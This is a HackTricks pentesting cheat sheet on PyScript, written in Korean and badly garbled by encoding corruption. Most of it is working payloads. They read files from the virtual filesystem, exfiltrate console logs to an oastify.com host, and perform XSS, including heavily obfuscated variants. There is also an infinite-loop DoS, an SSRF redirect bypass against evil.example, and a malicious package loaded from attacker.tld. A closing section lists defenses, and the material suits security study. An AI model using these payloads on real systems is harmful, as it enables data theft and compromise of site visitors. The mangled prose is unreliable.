Pyscript
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
PyScript νν μ€ν κ°μ΄λ
PyScriptλ HTMLμ Pythonμ ν΅ν©νκΈ° μν΄ κ°λ°λ μλ‘μ΄ νλ μμν¬λ‘, HTMLκ³Ό ν¨κ» μ¬μ©ν μ μμ΅λλ€. μ΄ μΉνΈ μνΈμμλ νν μ€ν λͺ©μ μΌλ‘ PyScriptλ₯Ό μ¬μ©νλ λ°©λ²μ μ°Ύμ μ μμ΅λλ€.
Emscripten κ°μ λ©λͺ¨λ¦¬ νμΌ μμ€ν μμ νμΌ λ€ν / κ²μνκΈ°:
CVE ID: CVE-2022-30286
μ½λ:
<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>

Emscripten κ°μ λ©λͺ¨λ¦¬ νμΌ μμ€ν μ OOB λ°μ΄ν° μ μΆ (μ½μ λͺ¨λν°λ§)
CVE ID: CVE-2022-30286
Code:
<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>

ν¬λ‘μ€ μ¬μ΄νΈ μ€ν¬λ¦½ν (μΌλ°)
Code:
<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>

ν¬λ‘μ€ μ¬μ΄νΈ μ€ν¬λ¦½ν (Python λλ ν)
Code:
<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

ν¬λ‘μ€ μ¬μ΄νΈ μ€ν¬λ¦½ν (JavaScript λλ ν)
Code:
<py-script>
prinht(""
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
"")
</py-script>

DoS 곡격 (무ν 루ν)
μ½λ:
<py-script>
while True:
print(" ")
</py-script>

μλ‘μ΄ μ·¨μ½μ λ° κΈ°μ (2023-2025)
μ μ΄λμ§ μλ 리λλ μ μ ν΅ν μλ² μΈ‘ μμ² μμ‘° (CVE-2025-50182)
urllib3 < 2.5.0μ PyScriptμ ν¨κ» μ 곡λλ Pyodide λ°νμ λ΄μμ μ€νλ λ redirect λ° retries λ§€κ°λ³μλ₯Ό 무μν©λλ€. 곡격μκ° λμ URLμ μν₯μ λ―ΈμΉ μ μλ κ²½μ°, κ°λ°μκ° λͺ
μμ μΌλ‘ λΉνμ±ννμμλ λΆκ΅¬νκ³ Python μ½λκ° κ΅μ°¨ λλ©μΈ 리λλ μ
μ λ°λ₯΄λλ‘ κ°μ ν μ μμ΅λλ€ β μ¬μ€μ anti-SSRF λ‘μ§μ μ°ννλ κ²μ
λλ€.
<script type="py">
import urllib3
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
print(r.status, r.url)
</script>
urllib3 2.5.0μμ ν¨μΉλ¨ β PyScript μ΄λ―Έμ§μμ ν¨ν€μ§λ₯Ό μ
κ·Έλ μ΄λνκ±°λ packages = ["urllib3>=2.5.0"]μμ μμ ν λ²μ μ κ³ μ νμΈμ. μμΈν λ΄μ©μ 곡μ CVE νλͺ©μ μ°Έμ‘°νμΈμ.
μμ ν¨ν€μ§ λ‘λ© λ° κ³΅κΈλ§ 곡격
PyScriptλ packages λͺ©λ‘μ μμμ URLμ νμ©νλ―λ‘, ꡬμ±μ μμ νκ±°λ μ£Όμ
ν μ μλ μ
μμ μΈ νμμλ νΌν΄μμ λΈλΌμ°μ μμ μμ ν μμμ Pythonμ μ€νν μ μμ΅λλ€:
<py-config>
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
</py-config>
<script type="py">
import payload # executes attacker-controlled code during installation
</script>
μ€μ§ μμ-Python ν λ§ νμνλ©°, WebAssembly μ»΄νμΌ λ¨κ³λ νμνμ§ μμ΅λλ€. ꡬμ±μ μ¬μ©μ μ μ΄κ° μλμ΄μΌ νλ©°, HTTPS λ° SRI ν΄μμ ν¨κ» μ λ’°ν μ μλ ν μ μμ μ λλ©μΈμ νΈμ€ν ν΄μΌ ν©λλ€.
μΆλ ₯ μ ν λ³κ²½ μ¬ν (2023+)
print()λ μ¬μ ν μμ HTMLμ μ£Όμ νλ―λ‘ XSSμ μ·¨μ½ν©λλ€ (μμ μμ μ°Έμ‘°).- μλ‘μ΄
display()λμ°λ―Έλ κΈ°λ³Έμ μΌλ‘ HTMLμ μ΄μ€μΌμ΄νν©λλ€ β μμ λ§ν¬μ μpyscript.HTML()λ‘ κ°μΈμΌ ν©λλ€.
from pyscript import display, HTML
display("<b>escaped</b>") # renders literally
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
μ΄ λμμ 2023λ
μ λμ
λμμΌλ©° 곡μ Built-ins κ°μ΄λμ λ¬Έμνλμ΄ μμ΅λλ€. μ λ’°ν μ μλ μ
λ ₯μ λν΄μλ display()λ₯Ό μ¬μ©νκ³ print()λ₯Ό μ§μ νΈμΆνλ κ²μ νΌνμμμ€.
λ°©μ΄μ λͺ¨λ² μ¬λ‘
- ν¨ν€μ§λ₯Ό μ΅μ μνλ‘ μ μ§ β
urllib3 >= 2.5.0μΌλ‘ μ κ·Έλ μ΄λνκ³ μ¬μ΄νΈμ ν¨κ» μ 곡λλ ν μ μ κΈ°μ μΌλ‘ μ¬κ΅¬μΆνμμμ€. - ν¨ν€μ§ μΆμ² μ ν β PyPI μ΄λ¦μ΄λ λμΌ μΆμ² URLλ§ μ°Έμ‘°νκ³ , μ΄μμ μΌλ‘λ Sub-resource Integrity (SRI)λ‘ λ³΄νΈνμμμ€.
- μ½ν
μΈ λ³΄μ μ μ±
κ°ν β μΈλΌμΈ JavaScript(
script-src 'self' 'sha256-β¦')λ₯Ό νμ©νμ§ μμ μ£Όμ λ<script>λΈλ‘μ΄ μ€νλμ§ μλλ‘ ν©λλ€. - μ¬μ©μ μ 곡
<py-script>/<script type="py">νκ·Έ κΈμ§ β λ€λ₯Έ μ¬μ©μμκ² λ€μ μμ½νκΈ° μ μ μλ²μμ HTMLμ μ ννμμμ€. - μμ
μ 격리 β μμ
μμμ DOMμ λν λκΈ°μ μ κ·Όμ΄ νμνμ§ μμ κ²½μ°,
sync_main_onlyνλκ·Έλ₯Ό νμ±ννμ¬SharedArrayBufferν€λ μꡬ μ¬νμ νΌνμμμ€.
μ°Έμ‘°
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


